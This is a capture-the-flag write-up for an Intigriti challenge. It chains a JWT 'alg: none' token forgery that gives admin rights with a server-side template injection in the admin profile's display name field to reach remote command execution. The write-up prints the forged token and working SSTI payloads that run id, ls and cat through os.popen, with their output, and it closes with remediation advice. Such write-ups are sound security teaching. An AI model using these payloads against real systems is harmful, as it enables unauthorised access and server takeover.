Challenge 1125

Intigriti's November Challenge

JWT Authentication Bypass Leading to SSTI & RCE

Description

A critical security vulnerability has been identified that allows attackers to completely compromise the application. The issue begins with a broken authentication system where attackers can register regular accounts and then easily modify their login tokens to gain administrative privileges. Once they have admin access, they can exploit a Server-Side Template Injection (code injection) vulnerability in the admin panel that lets them execute arbitrary commands directly on the server. This attack chain enables complete system takeover, allowing attackers to steal all data, modify or delete information, and gain full control over the server environment. The severity is critical and requires immediate attention to prevent potential data breaches and system compromise.

Vulnerability Details

1. JWT Authentication Bypass (CWE-347: Improper Verification of Cryptographic Signature)

Location: GET /dashboard

Description:

The application uses JWT tokens for authentication but fails to properly verify token signatures. Attackers can modify token claims including user roles by changing the algorithm to "none" and removing signature verification.

Attack Flow:

  1. Register a low-privilege account

  2. Capture JWT token after login

  3. Modify algorithm from "HS256" to "none"

  4. Change role claim from "user" to "admin"

  5. Change id claim to administrative user ID which equal to “1”

  6. Access admin functionality without valid signature

Observation:

# Original token (decoded):
Header: {"alg": "HS256", "typ": "JWT"}
Body:   { "user_id": 58,"username": "whymir","role": "user","exp": 1763672046 }
# Modified token (decoded):
Header: {"alg": "none", "typ": "JWT"} 
Body:   { "user_id": 1,"username": "whymir","role": "admin","exp": 1763672046 }

2. Server-Side Template Injection (CWE-94: Improper Control of Generation of Code)

Location: POST /admin/profiledisplay_name parameter

Description:

The admin profile page contains a Server-Side Template Injection vulnerability in the display name field. Authenticated attackers can execute arbitrary Python code through template injection.

Observation:

Step 1: Basic SSTI Detection

Using common SSTI detection {{7*7}}

|| Response: Preference saved with value "49" confirming SSTI ||

Step 2: Command Execution (RCE)

|| Response: Contains command output: uid=999(appuser) gid=999(appuser) groups=999(appuser)||

PoC

The attack begins with simple account registration. Using the endpoint https://$HOST/register, it created a low-privilege user account with credentials whymir:whymir123. After successful registration, it will redirect to https://$HOST/dashboard, the application issued a JWT token for session management.

The critical vulnerability was identified in the token verification process. By modifying the algorithm from "HS256" to "none" and changing the role and id, the application accepted the manipulated token without validation. The modified token became:

Header: {"alg": "none", "typ": "JWT"} 
Body:   { "user_id": 1,"username": "whymir","role": "admin","exp": 1763672046 }

This simple manipulation instantly escalated privileges from regular user to administrative access without any detection or resistance from the system.

With the forged admin token, accessing https://$HOST/dashboard revealed the full administrative interface. The system now recognized the session as having administrator privileges, providing access to sensitive functionality including admin panel at https://$HOST/admin/.

The admin profile page (/admin/profile) contained a "display name" field that was vulnerable to Server-Side Template Injection (SSTI). Testing began with basic payloads:

Payload: {{7*7}}
Result: Preference saved, displaying "49" instead of the literal string
Finding: Confirmed active template engine execution

The template injection vulnerability allowed direct Python code execution through the template engine context:

Payload: {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
Result: uid=999(appuser) gid=999(appuser) groups=999(appuser)

This confirmed full command execution on the underlying server. Subsequent exploitation validated complete control and successfully retrieved the flag.

## Listing Directory
{{ self.__init__.__globals__.__builtins__ .__import__('os').popen('ls -la').read() }}

## Listing Aquacommerce Directory
{{ self.__init__.__globals__.__builtins__ .__import__('os').popen('ls -la .aquacommerce/*').read() }}

## Retrieve flag
{{ self.__init__.__globals__.__builtins__ .__import__('os').popen('cat .aquacommerce/*').read() }}

Risk

This vulnerability enables unauthenticated remote command execution via JWT bypass and SSTI injection with trivial, low-effort payloads. Likelihood of exploitation: high.

Technical Impact: Full web server compromise through authentication bypass, privilege escalation to admin, and remote code execution. Complete disclosure of secrets (JWT keys, database credentials, env vars), service disruption, and potential lateral movement.

Business Consequences: Total data breach of user accounts, regulatory exposure (GDPR/CCPA), service outage, and severe reputational damage from complete platform compromise.

Remediation

  1. Enforce strict JWT signature validation and reject tokens using the none algorithm.

  2. Sanitize user input and prevent template execution in any user-provided field.

  3. Implement server-side checks for authorization rather than relying solely on client-provided JWT fields.

Reference

Last updated